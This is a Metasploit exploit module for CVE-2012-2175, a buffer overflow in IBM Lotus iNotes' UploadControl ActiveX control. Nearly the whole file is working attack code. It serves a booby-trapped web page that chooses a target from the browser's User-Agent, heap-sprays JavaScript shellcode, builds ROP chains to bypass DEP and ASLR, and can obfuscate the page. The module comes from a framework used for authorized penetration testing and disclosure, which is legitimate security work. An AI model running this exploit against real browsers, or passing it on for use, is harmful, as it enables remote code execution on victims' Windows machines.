##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  #include Msf::Exploit::Remote::BrowserAutopwn
  #
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "6.0",
  #  :ua_maxver  => "9.0",
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :rank       => Rank,
  #  :classid    => "{0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C}",
  #  :method     => "Attachment_Times"
  #})


  def initialize(info={})
    super(update_info(info,
      'Name'           => "IBM Lotus iNotes dwa85W ActiveX Buffer Overflow",
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability on the UploadControl
        ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
        property, due to the insecure usage of the _swscanf. The affected ActiveX is
        provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.

        This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
        using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.

        In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one
        is installed with the iNotes ActiveX.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gaurav Baruah', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-2175'],
          [ 'OSVDB', '82755' ],
          [ 'BID', '53879' ],
          [ 'ZDI', '12-132' ],
          [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ]
        ],
      'Payload'        =>
        {
          'Space' => 978,
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # dwa85W.dll 85.3.3.0
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
          [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
          [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77C34FBF } ], # pop esp # ret # msvcrt.dll
          [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],
          [ 'IE 8 on Windows Vista',  { 'Rop' => :notes,  'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
          [ 'IE 8 on Windows 7',      { 'Rop' => :notes,  'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll
          [ 'IE 9 on Windows 7',      { 'Rop' => :notes,  'Offset' => '0x5fe', 'Ret' => 0x1000f765 } ]  # pop eax # ret # dwabho.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 01 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
    js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

    # Land the payload at 0x0c0c0c0c
    case my_target
    when targets[7]
      # IE 9 on Windows 7
      js = %Q|
      function randomblock(blocksize)
      {
        var theblock = "";
        for (var i = 0; i < blocksize; i++)
        {
          theblock += Math.floor(Math.random()*90)+10;
        }
        return theblock;
      }

      function tounescape(block)
      {
        var blocklen = block.length;
        var unescapestr = "";
        for (var i = 0; i < blocklen-1; i=i+4)
        {
          unescapestr += "%u" + block.substring(i,i+4);
        }
        return unescapestr;
      }

      var heap_obj = new heapLib.ie(0x10000);
      var code = unescape("#{js_code}");
      var nops = unescape("#{js_random_nops}");
      while (nops.length < 0x80000) nops += nops;
      var offset_length = #{my_target['Offset']};
      for (var i=0; i < 0x1000; i++) {
        var padding = unescape(tounescape(randomblock(0x1000)));
        while (padding.length < 0x1000) padding+= padding;
        var junk_offset = padding.substring(0, offset_length);
        var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
        while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
        sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
        heap_obj.alloc(sprayblock);
      }
      |

    else
      # For IE 6, 7, 8
      js = %Q|
      var heap_obj = new heapLib.ie(0x20000);
      var code = unescape("#{js_code}");
      var nops = unescape("#{js_nops}");
      while (nops.length < 0x80000) nops += nops;
      var offset = nops.substring(0, #{my_target['Offset']});
      var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
      while (shellcode.length < 0x40000) shellcode += shellcode;
      var block = shellcode.substring(0, (0x80000-6)/2);
      heap_obj.gc();
      for (var i=1; i < 0x300; i++) {
        heap_obj.alloc(block);
      }
      |

    end

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def get_payload(t, cli)
    code = payload.encoded

    # No rop. Just return the payload.
    return code if t['Rop'].nil?

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
    when :msvcrt
      print_status("Using msvcrt ROP")
      rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'})
    else
      print_status("Using dwabho.dll ROP")
      # gadgets from dwabho.dll, using mona.py
      rop_payload = [
        0x1000f765, # POP EAX # RETN
        0x1001a22c, # ptr to &VirtualAlloc() [IAT dwabho.dll]
        0x10010394, # JMP DWORD PTR DS:[EAX]
        0x0c0c0c2c, # ret after VirtualAlloc
        0x0c0c0c2c, # lpAddress
        0x00000400, # dwSize
        0x00001000, # flAllocationType
        0x00000040 # flProtect
      ].pack("V*")
      rop_payload << code
    end

    return rop_payload
  end

  def load_exploit_html(my_target, cli)
    p  = get_payload(my_target, cli)
    js = ie_heap_spray(my_target, p)

    bof = rand_text_alpha(552) # offset to eip
    bof << [my_target.ret].pack("V")

    case my_target['Rop']
    when :msvcrt
      bof << rand_text_alpha(4)
      bof << [0x0c0c0c0c].pack("V") # new ESP
    when :notes
      bof << rand_text_alpha(4)
      bof << [0x0c0c0c00].pack("V") # eax
      bof << [0x1000f49a].pack("V") # pop esp # dec ecx # add byte ptr ds:[eax],al # pop ecx # pop ecx # retn # dwabho.dll
      bof << [0x0c0c0c04].pack("V") # new ESP
    end

    my_bof = Rex::Text.to_unescape(bof)

    html = %Q|
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object id="UploadControl" width="100%" height="100%" classid="clsid:0F2AAAE3-7E9E-4b64-AB5D-1CA24C6ACB9C">
      <param name="General_Mode" value="1">
      <param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">
    </object>
    <script>
      var bof = unescape("#{my_bof}");
      var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";
      my_time += bof;
      my_time += " GMT";
      UploadControl.Attachment_Times = my_time;
    </script>
    </body>
    </html>
    |

    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    html = load_exploit_html(my_target, cli)
    html = html.gsub(/^ {4}/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end
